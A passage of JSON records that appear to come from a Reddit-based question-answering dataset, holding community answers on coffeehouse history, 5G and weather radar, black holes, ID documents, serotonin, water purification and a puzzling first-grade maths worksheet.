{"q_id": "a1x8dl", "title": "Since the creation of coffeehouses followed the siege of Vienna, why aren\u2019t coffee products globally described in German, rather than Italian? How did Italian become the language of coffee products?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a1x8dl/since_the_creation_of_coffeehouses_followed_the/", "answers": {"a_id": ["eau06vp", "eaupxi5"], "score": [85, 83], "text": [" > Since the creation of coffeehouses followed the siege of Vienna\n\nWhere can I learn more about this? I've never heard this before.", "There is a story that coffeehouses began in Vienna after the failed second siege by the Ottomans in 1683, but that's not accurate. That (already overextended) siege was abruptly abandoned due to a surprise rear attack by the Polish and German forces, and the Ottomans left a lot of luxury goods behind as they fled -- tents, animals, weapons, armor, seals, gardens, foodstuffs...  the Museum of Military History in Vienna still has a lot of the non perishables.\n\nBut coffee was in Europe well before that. Coffeehouses -- as places to meet, discuss ideas, and socialize as well as drink coffee--started in the middle east and spread to Europe via the Ottomans. Markman Ellis is one good author on this topic. In his article \"An Introduction to the Coffee-House\" (2008) he writes:\n\n\"According to the Turkish historian Ibrahim-I Pe\u00e7evi, who wrote in about 1635, the first coffee-house was opened by \u2018two Men, nam\u2019d Schems and Hekim, the one from Damascus, the other from Aleppo\u2019 in the year 962 in the Islamic calendar (1554\u20131555), during the reign of S\u00fcleyman I (1520\u20131566)... The first coffee-house in London opened just under a century later, in 1652, by a Greek Orthodox servant called Pasqua Rosee, in St Michael\u2019s Alley, Cornhill, in the centre of the financial district of the City of London. It was sponsored by merchants from the Levant Company, the trading house that organised and regulated trade with the Ottoman Empire. These merchants had become accustomed to drinking coffee during their extended residences in the Company \u2018Factories\u2019 in the Ottoman cities of Istanbul, Izmir and Halep (or Constantinople, Smyrna and Aleppo as they knew them)\"\n\nAs this describes, war was not Europe's only relationship with the Ottoman Empire--there was a lot of trade, diplomacy, travel, and therefore cultural exchange as well. \n\nCoffee itself came to the Arab world from Africa in the 15th century. The word for coffee is derived from an Arabic word \"qahwah\" that in turn refers to an originial Ethiopian source, the Kaffa region. The Turkish word for coffee, borrowed from the Arabic, is \"kahve.\" \n\nOne comprehensive scholarly book on all this is Ralph S. Hattox's Coffee and Coffeehouses -- the full text is online. Another more recent one is Ellis's The Coffee-House: A Cultural History.\n\nAs to why Italian coffee culture and terminology is so popular internationally--they invented the espresso machine. Angelo Mondioro got the first patent in 1884, but  Luigi Bezzerra and Desiderio Pavoni created the basic modern machine as we know it (if with much larger boilers), and introduced it at the 1906 Milan World's Fair, after which the technology spread around Milan and Italy but not much farther until Pier Teresio Arduino built up a manufacturing and marketing powerhouse to export machines around Europe. After WWII  Achille Gaggia created the smaller less dangerous espresso machine that doles out measured single shots at high pressure. In short, Italian technology was behind the spread of espresso coffee drinks in the 20th century."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "eh2iam", "title": "how is 5g going to interfere with weather satellites?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eh2iam/eli5_how_is_5g_going_to_interfere_with_weather/", "answers": {"a_id": ["fccm042", "fcf7gm8"], "score": [42, 8], "text": ["Some of the frequency bands that are expected to be used for 5G are currently the bands that most weather radar use to detect precipitation feedback in the atmosphere, as that makes the \"noise\" of different \"intensity\" to show what we know has a weather radar sweep.\n\nThose frequencies, if used in 5G communication will give false positives on weather radar in areas of high usage (i.e. cities) causing major weather forecasting computer models to spit out bad data that it can't compensate for.", "So the weather radar on the side of the highway that\u2019s been there for decades has been \u201c5G\u201d this whole time? And people are worried about the health issues that could arise? People work in the building just below their entire lives."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2e7661", "title": "Have we ever seen a star disappear behind a black hole as it orbits it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2e7661/have_we_ever_seen_a_star_disappear_behind_a_black/", "answers": {"a_id": ["cjwovqa", "cjwt2gd", "cjwtpf9", "cjwtpjs", "cjwuv9p", "cjwv5m1", "cjwvhru", "cjwxb5e", "cjx5qqj", "cjxcqx4"], "score": [1264, 120, 2, 8, 37, 3, 15, 12, 2, 6], "text": ["No we haven't. \n\n~~[This](_URL_0_)~~ is the best reconstruction of stellar orbits near a black hole.\n\nedit: Apparently we crashed the gif website, here's a mirror: _URL_1_", "Given a perfect view, i.e. no dust, the right vantage point, bright enough star, etc, I believe [gravitational lensing](_URL_0_) would keep the star visible even when it goes completely behind the black hole. ", "you don't need a black hole for noticeable gravitational lensing.", "Stars don't disappear behind black holes. Since black holes bend space and time, theoretically, as the star passes behind the black hole, it bends the light around the black hole and as it passes, the image reappears. Vsauce made a wonderful video explaining it: _URL_0_", "This is the converse of the original question, but there appears to be an example of a system where a black hole orbits and sometimes disappears behind a star. \n\nThe system, called M33 X-7, contains one of the larger known examples of a black hole that resulted from a star's collapse. X-ray emission from the black hole is periodically eclipsed when the star passes between us and the black hole.\n\nHowever, the black hole is (as is typical) much smaller than the orbiting star, so the star does not disappear.\n\n[The research page of the professor who made the study](_URL_0_)\n\n[arXiv link to the published article](_URL_1_)", "I think it may actually be impossible to hide a star behind a black hole, since the light would be bent around it, and you would be able to see one or more highly distorted image of the star on the edge of the event horizon.", "I can't think of a place where the star could be in conjunction to a black hole that the light wouldn't be dramatically bent and we see it anyway.\n\nIt would be horrendously lensed, but it wouldn't ever disappear. There would always be a direction of light that would be bent for us to see it.\n\nThe problem with a star 'disappearing' behind something that also bends spacetime so much, that the light would still get to us... Our own star does this a little, and bigger stars (and certainly smaller and heavier stars like white dwarfs and neutron stars) would lens the light behind them so much that you could never not see stars behind them (assuming you could block out the light they produce).\n\nIf something is in the vicinity of a black hole, orbiting or otherwise, you see it regardless of what side it's on. Even when the object is on the opposite side of the black hole, as long as it's not inside the event horizon, you will always see it (again horribly lensed, but you still see it).", "That would never happen. Ever. Black holes have so much mass that they bend spacetime, so even if something was 100% completely obscured by the event horizon, the light from the star would be bent around the black hole to the viewer, and you would see the object appear as a ring (they're called \"Einstein rings\", because this is an effect of general relativity).  The entire effect is called Gravitational Lensing.  Galaxies can also gravitationally lens other galaxies. There's pictures of this effect online.", "You wouldn't see it disappear, but you will see it refract from the intense gravity.  Look up the Einstein Cross, it's one star/quasar/something but you see four, because it is directly behind a black hole from our perspective.", "I can't believe that everyone has been saying no, when in fact the answer is yes to OP's question!\n\nI saw a documentary years ago while at school about an early researcher after years of observation seeing this exact phenomena.\n\nJust a quick google search finds the following,\n\n_URL_1_\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mintaka.sdsu.edu/faculty/wfw/CLASSES/ASTR640/sagA-movie.gif", "http://gfycat.com/CoarseSilverDassierat"], ["http://en.wikipedia.org/wiki/Gravitational_lens"], [], ["http://m.youtube.com/watch?v=3pAnRKD4raY"], ["http://mintaka.sdsu.edu/faculty/orosz/web/M33BH.html", "http://arxiv.org/abs/0710.3165"], [], [], [], [], ["http://news.bbc.co.uk/1/hi/sci/tech/603423.stm", "http://www.spacetelescope.org/images/opo0003d/"]]}
{"q_id": "6f0pkm", "title": "if someone's date of birth is unknown, how do they get a passport or any other kind of identification?", "selftext": "I'm thinking if someone doesn't have any proof or knowledge of when and where they were born, would they be able to get any kind of I.D? And if they do, what do they put under date of birth? Is it simply the best guess someone can make?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6f0pkm/eli5_if_someones_date_of_birth_is_unknown_how_do/", "answers": {"a_id": ["dieijhf", "diem49s", "dieobrt", "dieppg4"], "score": [19, 8, 5, 2], "text": ["I don't know of any laws or regulations that spell out what happens in his scenario, but I know in practical terms, at least where I live, they just estimate.  There is a large immigrant population in my region who all have the first of January of estimated years as their date of birth on official forms of identification.", "From my experience in my area, its very common for Somalian immigrants to not know their exact dob when they apply to move here. There are countless Somalians that were assigned dob's of 01/01/year. Seems like more recently they will at last stagger the birth month. \n\nAgain, from my experience, Mexican legal and illegal immigrants/aliens have actual dob's. Knowing that, I would guess that very few countries overall don't keep birth records. \n\nYou will likely never get a passport if you claim you don't know your dob, and you're from a country civilized enough that you have the luxury of accessing Reddit.\n\n", "There was a Radio Lab, a podcast, recently talking about a women from a family that had all their kids at home no doctors. She finally left the family when she was 18. But doesn't have a social security number or a birth certificate. She then has a huge legal battle trying to get those ", "My mother is from a country that didn't give identification to her. I think it was possibly due to the Vietnam war. I can't give you a real answer, but I can tell you what my mother told me. Apparently she was asked about certain events in her country and they estimated from there. \n\nI'm assuming my father went through the same thing, because his birthday is January 1st whatever."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7efvsz", "title": "During the Middle Ages, the word Saracen was widely used in Europe to name the Arabs, but today this term is obsolete, so how did this transition happen?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7efvsz/during_the_middle_ages_the_word_saracen_was/", "answers": {"a_id": ["dq4u36j"], "score": [3], "text": ["I wrote fairly extensively on the history of the word [here](_URL_0_) and promptly got overambitious (I am *not* an Early Modernist) and was corrected on the transition by u/sunagainstgold. Happy to try and address any followup you might have though!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6ll4yr/how_did_saracens_become_arabs/"]]}
{"q_id": "1jjxqo", "title": "how does \"wiring\" money work?", "selftext": "[Slide 7 shows wiring money doesn't allow for any way to get it back](_URL_0_) so it's better to use cards.\n\nHow does it work? Why doesn't it allow you to get your money back while using cards will?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jjxqo/eli5_how_does_wiring_money_work/", "answers": {"a_id": ["cbfejkk"], "score": [2], "text": ["Think of it like paying cash at a local store. If you want your money back, it's up to the store whether to give it back to you or not. Wiring money is like that - you send it, they receive it, the end.\n\nWith a credit card, normally when you buy something, the card company puts the money for your purchase into the merchant's bank account. But the credit card company can also forcibly take money out of the merchant's account, by doing something called a [chargeback](_URL_0_).\n\nSo if you pay for something online and it never shows up, and the seller doesn't help you, you can call up your credit card company and have them reverse the charges. You get your money back, so it gives you some protection whereas paying by cash or wire does not."]}, "title_urls": [], "selftext_urls": ["http://www.kiplinger.com/slideshow/spending/T048-S001-10-online-shopping-traps-that-catch-even-smart-sho/index.html"], "answers_urls": [["http://en.wikipedia.org/wiki/Chargeback"]]}
{"q_id": "fay5x8", "title": "do negative thoughts and/or experiences make the brain produce less serotonin which leads to depression or vice versa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fay5x8/eli5_do_negative_thoughts_andor_experiences_make/", "answers": {"a_id": ["fj187n8", "fj1jvby"], "score": [10, 2], "text": ["You have a pretty big misconception here about the nature of serotonin and its relationship to depression.\n\nFirstly, I wouldn't call serotonin a \"feel good\" chemical. This is a misconception that comes from people thinking that because boosting serotonin is a common treatment for depression, serotonin must be a \"happiness\" chemical or some such. That's not the case. Serotonin has a lot of physiological effects, but in this context I think a better way to describe it is that it's a mood regulator. The opposite of depression isn't feeling happy, it's feeling *something.* Individuals suffering from depression have difficulties experiencing positive moods. That's not nearly the same as being happy. To put it another way, if I were to give mentally healthy individuals SSRIs to boost their serotonin, they wouldn't feel any happier, and that's because, again, serotonin isn't a \"happiness\" chemical. \n\nSo what does serotonin do? It may interest you that serotonin plays a key role in a collection of brain structures called the limbic system, which are all implicated in emotion. To be clear (this is another major misconception that I don't want to spread) there isn't such thing as an \"emotional center\" of the brain, but for the purposes of this response consider the limbic system as such. It's also been found that individuals suffering from depression have smaller hippocampi, a structure in the limbic system. \n\nYou mention bad circumstances leading to negative thoughts. Negative thoughts alone aren't enough to trigger depression, but chronic stress and anxiety will activate a hormonal pathway called the hypothalamic-pituitary-adrenal axis, or HPA axis. The hippocampus does a lot of things, but key thing that it does in this context is that it regulates the HPA axis. The HPA axis results in the production of a hormone called cortisol. \n\nHere's where we get into sort of dicey territory, where we start looking at really recent research and it becomes much less clear. There is some evidence that increased cortisol in the body will damage certain cells in the hippocampus. There is also evidence that boosting serotonin levels will reverse these negative effects caused by cortisol. \n\nEvidence points thus to cortisol perhaps being a root cause of depression, and serotonin merely being a treatment. I think that point of view is a bit too narrow minded, and there are some experiments people have done that make me inclined to go in a different direction. I'm kind of meandering now, but this was sort of a brief overview of the serotonin hypothesis of depression.\n\nHappy to answer any questions.", "Youve got the wrong understanding of depression. While reaserch Varys and we are still not 100% sure, the best theory right now is known as the Trophic theory of depression which I will explain below.\n\nFirst talk about serotonin. Serotonin is NOT a happiness or feel good neurotransmitter; it is responsible for a myriad of things all around the body including sleep, dreaming, hungar, and mood regulation, but increasing serotonin actually increases anxiety (which is why people on SSRIs often experiance increased anxiety in the short term). The closest thing our body had to a happiness/feel-good chemicals are endorphins which are the native equivalent to morphine/heroin (our body uses it for pleasure as well as pain resistance).\n\nSo if serotonin doesn\u2019t make you happy and increases anxiety why do we give it to people with depression? Well there\u2019s this thing in your brain called trophic factors (TF) this is like brain fertilizer. TFs allow your brain to grow, expand, and reconnect with itself so you can learn, heal, and make memories. This process is called long term potentiation (LTP) and is part of synaptic plasticity (which is the way our brain changes it\u2019s wiring). According to recent reaserch the actual physiological reason for depression is reduced levels of TFs which causes decay/malformations in certain areas of the brain. Certain classes of neurotransmitters called \u201cBiogenic Amines\u201d increases the level of tropic factor release.\n\nBiogenic Amines Include dopamine, norepinephrine, and serotonin. Therefore giving people medicine that increased any of these compounds increases the amount of TFs in their brain, which in turn increases plasticity and decreases depression. In fact old antidepressants (and some modern antidepressants too) mainly targeted norepinephrine instead of serotonin and they were just as effective I\u2019d modern antidepressant (but had harsher side effects).\n\nSo where do negative thoughts fit in? Well one of the major causes of depression seems to be elevated levels of a hormone known as cortisol. Cortisol is a stress hormone released by the adrenal cortex when it is signaled by the hypothalamus (a part of the brain). In regular amounts cortisol is responsible for keeping us awake and alert as well as allowing our body to react to physical and mental stressors; this is perfectly normal. When cortisol gets to high it signals to the hypothalamus to stop telling the adrenal cortex to release it. If cortisol levels are continually high for a long period of time, this can damage the hypothalamus and lead to depression. This is where consistent stress and negative thoughts comes in. These things can increase cortisol over a long period of time.\n\nThere are other treatments for depression besides antidepressant medications. One effective treatment for depression includes CBT or cognitive behaviors therapy which helps people \u201crewire\u201d the way they think. Others include managing and reducing stressors by venting to a professional or solving problems in your life. Mileage on these can vary heavily from person to person, but if you are feeling depressed and do not know why I empllore people to seek help if possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1f5eee", "title": "Where can I find Austro-Hungarian census data from 1910 and earlier?", "selftext": "I've tried looking around on the net, but I just find the total numbers. I'd love to be able to look at counties; for example, the Kingdom of Hungary's census of 1900 and 1910 is accessible on-line and you can look at cities and counties.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f5eee/where_can_i_find_austrohungarian_census_data_from/", "answers": {"a_id": ["ca70usd"], "score": [8], "text": ["I have Austro-Hungarian census data from 1910 and earlier in my library.\n\nIn the course of my book collecting I've accumulated a wide variety of esoteric marginal historical documents and records which I would be happy to put at your disposal, including:\n\n- Volkswirtschaft im XIX. Jahrhundert by Werner Sombart (1903)\n- Geographisches Handbuch zu Andrees Handatlas by A. Scobel (1899)\n\nIf you need anything unusual I can probably provide some good resources.\n\nA more modern source for some of this would be P Kennedy's Rise and Fall of the Great Powers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "99f1l3", "title": "what is the difference in boiling and filtering water, if any?", "selftext": "What is the best way to clean your water? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/99f1l3/eli5_what_is_the_difference_in_boiling_and/", "answers": {"a_id": ["e4n3sca", "e4n3suk", "e4n3tfh", "e4n3utl"], "score": [7, 6, 5, 4], "text": ["Filtering won't kill bacteria, it will only sift particles that are larger than a certain size and certain toxins will chemically react with the activated charcoal and will be brought out of the liquid.\n\nBoiling won't filter out any particles but it will kill off pretty much all of the bacteria ", "Best way would to use both. Boiling makes the water safe to drink in the majority of cases. It does so by killing pathogens such as bacteria. Filtering removes pathogens down to a certain size. The main difference is that water can be safe to drink but still contain debris such as silt and metals. Filters may not remove the smallest of pathogens but will remove the larger sediments", "Boiling kills living bacteria. Filtering removes  particles, like chlorine or dirt. Both are necessary for a truly clean water.", "Boiling water will kill active organic stuff in the water, and chemicals that have boilingpoints lower than water's, they'll boil off, but boiling water won't remove particulates or dissolved things (like salt).\n\nFiltering will remove solid things, and won't remove dissolved things like salt, not unless you have a really special filter.\n\nOne way to get good pure water is to distill it: boil the water and collect the water vapor that escapes at the boiling temperature and condense that water.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "205tu9", "title": "this math homework for my first grader", "selftext": "My kid brought this home, and I'm stumped.\n\n_URL_1_\n\nEDIT:\n\nThe Answer was a PDF Font issue , Thanks to Myselfm72\n\n_URL_0_\n\nThank you to all who tried to help!\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/205tu9/eli5_this_math_homework_for_my_first_grader/", "answers": {"a_id": ["cg01th3", "cg026m8", "cg029ky", "cg02bpf", "cg02v7g", "cg0326p", "cg032yz", "cg038wu", "cg039px", "cg039z0", "cg03p8z", "cg03pc3", "cg040ab", "cg042h2", "cg042we", "cg043f3", "cg049id", "cg04c2d", "cg04jqc", "cg04mwb", "cg04nj2", "cg04oy4", "cg04s6n", "cg04xef", "cg04xkw", "cg0587f", "cg05bnr", "cg05eem", "cg05ff5", "cg05fiz", "cg05gli", "cg05j2l", "cg05jb8", "cg05l2j", "cg05ont", "cg05op1", "cg05qm3", "cg05txz", "cg064zq", "cg067hd", "cg067mh", "cg06amt", "cg06bzl", "cg06fgk", "cg06fgw", "cg06ft3", "cg06g0m", "cg06gu5", "cg06h5j", "cg06iik", "cg06ll2", "cg06oqz", "cg06pb8", "cg06pgd", "cg06qit", "cg06ru4", "cg06rxq", "cg06s1k", "cg06s47", "cg06tuq", "cg06u97", "cg06ujr", "cg06x6n", "cg06y0y", "cg06zas", "cg070d9", "cg075oq", "cg079db", "cg07a30", "cg07c4q", "cg07dx2", "cg07enj", "cg07eu2", "cg07gjb", "cg07p0y", "cg087gw", "cg08c2a", "cg08q1k", "cg094qk", "cg096u2", "cg09745", "cg09baf", "cg09tof", "cg0a2rt", "cg0a71c", "cg0agm1", "cg0auqb", "cg0ay9m"], "score": [3, 130, 2620, 51, 8, 646, 6, 6, 126, 11, 7, 4, 10, 3, 19, 4, 9, 58, 5, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 53, 17, 2, 2, 11, 2, 2, 2, 3, 2, 2, 6, 3, 2, 3, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 3, 3, 2, 5, 3, 4341, 2280, 4, 2, 2, 2, 2, 3, 2, 13, 2, 2, 9, 11, 5, 4, 314, 7, 243], "text": ["No words for this...I feel like there has to be another page that explains this better (or at least I hope there is)", "I think I got it. The 12, 13, 15 at the bottom are misprints and are not supposed to be there. The number lines all start at 1. The first problem shows 2 going to 6, so the operation is 2 x 3 = 6. The next problem shows 2 going to 7, so the operation is 2 + 5 = 7. The third problem shows 3 going to 6, so it could be either 3 x 2 = 6 or 3 + 3 = 6. I'm guessing your teacher didn't write this, it looks like it came out of a textbook, but he or she was being pretty incompetent in handing this out.", "For box #1, 03 and 05 are place holders for 14 and 16 respectively (think of them as x and y and the person that wrote the book is just an idiot).\n\nOn the side 02 is a placeholder (z lets say) for where the arrow starts or 13.\nThe *3 (again another variable, but poorly labeled because the author is a nutjob) should refer to how many places you are adding to it (so the arrow moves over four spaces so there should be a 4 here)\n\nUnder the bar it would be 13+4=17, so 17 should go in there.\n\nRinse repeat for all the subsequent problems.", "You can't do the review without the lesson. This seems like counting, visualising addition. Top box is the starting number, circle is the arc on the numberline, bottom box the sum. My best guess from: _URL_0_", "Ok we got a number line. Positive whole integers, 12,13,14, etc. It looks like theres a substitution scheme here in which positions 01,02,03, etc., are parallel to the numner line. In the first example number 12 on the line is position 01, 13 position 02, etc, and the deal is to fill in the blanks from there. IF that is so, and IF the asterisk is a multiplication symbol (which seems dubious given the information we've been given), then we extrapolate to: position 2 multiplied by 3 and the \"answer\" is 28, (because position 2 (13) times 3 is 39 which corresponds to postion 28). \nHow am I doing? ;)", "What is missing? Clear instructions!\n\nLooking at PDFs of other Spiral Review math books, this seems to be their way of representating addition problems. I'm guessing that the first problem's answer is supposed to be 13 + 4 = 17, the second is 13 + 5 = 18, the 3rd is 14 + 3 = 17, and so on.\n\nThe top number line seems to suggest that 12 is place \"01\" on the number line, 13 is place \"02\" on the number line, etc.. This suggests that the blank spots are supposed to be filled in before filling out the addition problem to the right of each line.\n\nWhat the \"*3\" is supposed to represent is anybody's guess. The only thing I can think of is that they're \"hopping over\" 3 numbers, but that's a weird notation for adding 4.\n\n**EDIT:** Oh, please let me be wrong about this, but I think I just figured out the \"\\*3\" thing. On the example number line at place \"03\" would be 14. Saying \"\\*3\" is a hint to use only the 1s digit of that number (4 is the 1s digit of 14) to add to the starting number.\n\nThis is apparently supposed to \"help\" you get that the answer is 13 + 4 = 17.\n\nI suggest taking a camera to the nearest college, find a mathematics teacher, and ask him let you film him trying to work out this 1st grade math problem, with the understanding that you're going to post the video online for other parents to see.\n\n**RE-EDIT:** [iSandbox](_URL_0_) has the link that explains it! See here: _URL_1_", "What's missing:  Math, logic, any sort of relevance to the addition problem I think they're trying to visualize.\n\nMy recommendation is to ignore everything but the numbers and the arrow.  For the example problem, I'd write 13+4=17", "I'm a teacher in an elementary school, and even I can't figure that out. The way math is taught with the CCSS is complex, but that seems like some strange sort of cypher. Good luck! Just ask the teacher to send home explanations or examples with work that may not be familiar. ", "although it isn't completely clear I think I can safely mark this explained, and post tomorrow if the sheet had a typo on it. Thank You.", "I think that you're supposed to give each number two labels, so 15 is '04', for example. Then if you multiply '02' (*which is associated with 13*) by 3, treating '02' as being equivalent to 2, you would get 6, which maps to '06', which is equivalent to 17. Going from 13 to 17 is what is shown in the graph.\n\nI forgot to add; I think to work out whether this exercise is perverse or not, you'd have to know what the teacher had covered, but it does indeed look like being possibly b.s.", "my guess is the answers are as follows, top box/circle/bottom box:\n\n1. 02/*3/06\n2. 02/*4/07\n3. 03/*2/06\n\nSince the top and bottom are both squares, their answers should be the same format, which we're told is the 0n format.  I think * = dots skipped, and that the bottom number is where the arrow points, so that the bottom box is 0(n+*+1).  \n\nThis would be an excessively stupid way to teach kids that the 1's digit in a number still works the same way in multiple-digit numbers.  I think they are doing that stupid * thing as a way to avoid using an actual mathematical operation, because the unit is titled \"number and operations\" so I assume the actual operations of addition and subtraction is later in the unit.", "Dear god this is so much more confusing than it needs to be.", "This is another step in a long line of really fucking weird ways to teach easy shit.  I remember in late elementary/early middle school when \"lattice division\" was introduced and it was really stupid,  to the extent that it was crazy time consuming and you wouldn't get credit if you just did it like a normal person. We're so caught up on weird gimmicky ways to teach stuff that we've forgotten to teach why things work they way they do in math. 100/5 is literally \"how many times can 100 be split into five pieces?  20.\" Not a crazy series of boxes without any comprehension of the reasoning behind it. ", "Any sense or logical reasoning. THAT. That is what is missing.", "Perhaps Number Theory is now a prereq for 1st grade.  \n\n_URL_0_\n\n", "did I get it? [Imgur](_URL_0_)\n\n\n\nI understand that there is likly a lecture behind this that would have cleared up what is going on and how its suppose to be solved **correctly** but this is a joke, and 1st grade WTF? kids are going to hate learning and basicly learn from a very early age how to give up.", "Ha! I think it's a (bad) misprint. The text in the larger font in the first problem is actually supposed to be something completely different (Maybe a crappy computer program generated gibberish?)\n\nIt's supposed to be simple number line problems where your 1st grader enters the starting number, the numbers of spots added and the ending number (thus visualizing addition on a number line).\n\nSo in the first problem: \"03\" = 14, \"05\" = 16, \"02\" = 13, \"*3\" = 4\nFor the second problem, you're meant to enters:\n13 into 1st square, 5 into circle, 18 into 2nd square.", "This is a poorly typed out math problem with errors on it.\n\nBest guess:  The line starting at 12 is also a line starting at 01.  03 and 05 is from the latter.  \n\nThe * is actually supposed to be \"skip this many numbers\".  First grade does not do multiplication.  \n\nTherefore, if this were right, it would be:\n\n_URL_0_\n\n\n2 skip 3 = 6 OR 13 skip 3 = 17 .  Again, best guess. Otherwise I'm at a loss.  This is trash.  This is not useful unless you are learning number theory and combinatorics.  \n\n----------------------------\n\nAs a fellow parent, I would ensure you talk to the principal about this terrible teaching material and have it immediately removed, if not reviewed before it ever comes home again.  Lastly, explain your desire to learn actual fucking math as opposed to this touchy feely experiment with the numbers crap they are teaching these days.  We add numbers in a column because it is the best way to add numbers, not because some unfeeling tool said so and there might be a better way.\n\nKeep in mind that you are attacking the teacher for not checking this in the first place and the school for letting it be handed out in the first place.  You are not defending your child and you are not \"precious snowflaking\" your child.  If they defend their material, have them teach it to you then come teach us.  I'd be happy to learn a new way of adding unrelated numbers to get imaginary bullshit.", "I'm certified to teach math in PA grades 7-9, that's up to and including Algebra.  I don't get this as an educational tool, never mind as an example of a number line.\n\nDumbest shit I've ever seen for math education.  Please scream loudly at your school if it's using this shit.  Scream more loudly when they say there's nothing to be done.  Keep screaming till this shit is done away with.\n\nPlease.", "First question - how old is a first grader? (British here)\n\nSecond - what is the purpose of this bollocks. When in life are you going to need to be able to do something like this? That's if you can figure out *how* to do it first? I hated maths and made every effort to bunk it at school because it was full of retarded stories about 'John has six dildos and his mums ass is 8\" deep; what is the value of x = dildo?' Etc which made no sense. \n\nIf they taught things that seemed even vaguely interesting or practical I might have paid attention. I remember saying to my teacher 'if I ever need to work out the circumference of something, then I'll pay attention; but I won't' and that comment still stands. \n\nPlus; I have a calculator on my phone/till/computer/wherever your working that isn't in the arse end of nowhere. ", "At first glance I thought, \"This will be easy\"\n\nNow I feel stupid", "I am, in all practicalities, a rocket scientist, or aerospace engineer, and I have absolutely no clue. This is a guy who deals with ungodly amount of calculations daily. Fuck", "First grader me in the 80's had a hard time with straight forward regular math. I would have been dumbfounded by this inane \"schoolwork\".", "So, Im getting the first number, and im guessing the next are the same.\n\nYou see how u have larger font and smaller font numbers? Thats where it comes from, I think.\n\nIf you look at 03(big) on the first numberline, 14 should stand there. Then, for the next big number, comes 04 where 15 (small) stands. Then, for some fucked up reason that no normal human can understand, one adds 13 and 4 to get 17, so the dot 05 (big) is 16, and the one after is 17.\n\nThis shit is literally hitler. Quantum physics can be interperated more easily than this bundle of sticks of a question", " > What is missing?\n\nProper instructions", "I'm a 25 year old, and even after reading everyone's explanations of this, I still don't understand what on earth is going on in these problems.\n\nIt's discouraging and humiliating to ME that I can't understand this, I can't even imagine what a first grader would feel like after being presented with something like this.", "What really sucks is that before the Marine Corps, I was taking college statistics, did calculus, trig, etc... After the Marine Corps, I can't even figure this one out easily.", "I thought of myself to be above average at math during high school having completed all available courses by my sophomore year...this makes no sense to me and I can make justifications for several different answers.\n\nI tried to find the curriculum online and I believe I have found the book series but not the exact same questions.\n_URL_0_\n\nThis should be the exact book but I can't find the contents online anywhere:\n_URL_1_", "I excelled at math and am hyper analytical and I struggled to make heads or tails of this. Most of my days consist of writing complex Excel formulas as well.\n\nMost asinine way to teach this concept.", "Wait. Wait. In the upper right corner... \"Spiral Review\" \"Lesson 3\". Are you telling me that this is not something that a single incompetent teacher made but rather something that is being to sold to a ton of teachers?", "We need a subreddit called /r/homeworkforparents or something that helps them understand their children's homework.", "Oh I hope I linked this properly because it's never been more reverent.  [Tom Lehrer: New Math](_URL_0_) ", "I have a college degree, think I'm pretty smart, have a decent job and this makes my head POUND.", "I think the top square box is asking for the sequence of the number at the start of the arrow e.g. 02 and the bottom square box is the sequence of the number where the arrow is pointing e.g. 06 and the circle box is asking for how many dots (or points) between the starting and ending numbers e.g *3\n\nI'm guessing the boxes that are square mean they are looking for the same format therefore in the first question the answer would be 06 not 17. \n\nSorry if someone else has already posted this answer, I didn't have time to read the whole thread. ", "Ill never bitch about my college homework again.  The shit?", "For once it actually IS a question for literal five year olds.. and still none of us can answer it. Fuck your kid's teacher. (dont literally fuck your kid's teacher, thats frowned upon)\n", "The key here is the title at the top of the page - Numbers and Operations. Since you already know math, you think you know what the 'operations' of math are, but you don't understand that this isn't actually math. The particular 'operation' being taught here is 'skip'. (I don't know if that's what they actually call it, I just made that term up.)\n\n*3 does not mean 'times 3', it means 'skip 3'. The bigger numbers under the number line indicate the postion number, not the number that actually goes in that position. \n\nProperly understood, that first question would be written in words as: Given a number line that starts with the number 12, what number would you arrive at if you started at the second number on the line and skipped over 3 numbers? Or, 2*3=6 is read as 'Starting at the second number and skipping over 3 numbers puts you on the sixth number'. (And my guess would be that since they want you to fill in the missing numbers on the number line, maybe they want you to point out that the sixth number on this particular number line would be 17.)\n\nThe thing is, you don't need a number line for this - you could simply draw a row of objects (a ball, a star, a sock, a kitten, a kite, a bicycle, a cup) and ask, \"If you start at the second object in the row and skip over 3 objects, what object would you land on?\" Star*3=bicycle.\n\nThis isn't math as you and I understand it, so you are confused in trying to understand what mathematical function is being taught here. 'Skip' is not a mathematical function you and I are familiar with.\n\nTL;DR - Your confusion stems from thinking that because this involves numbers, it's math. It's not math. ", "The trick is, this isn't teaching arithmetic, it is teaching the concept of \"operations\".  \n\n\n\"02\" = number position\n\n\"*\" = positions to skip\n\n\nThe first problem is: take the second number, skip three positions = 17\n\nThe second problem is: take the second number, skip four positions = 18\n\nThe third problem is: take the third number, skip two positions = 17\n\n\nThis is actually pretty clever.  It is getting the students used to the concept of an \"operation\" using only their skills at counting.  Because first graders only know how to count.  There are many more operations in standard math than just the 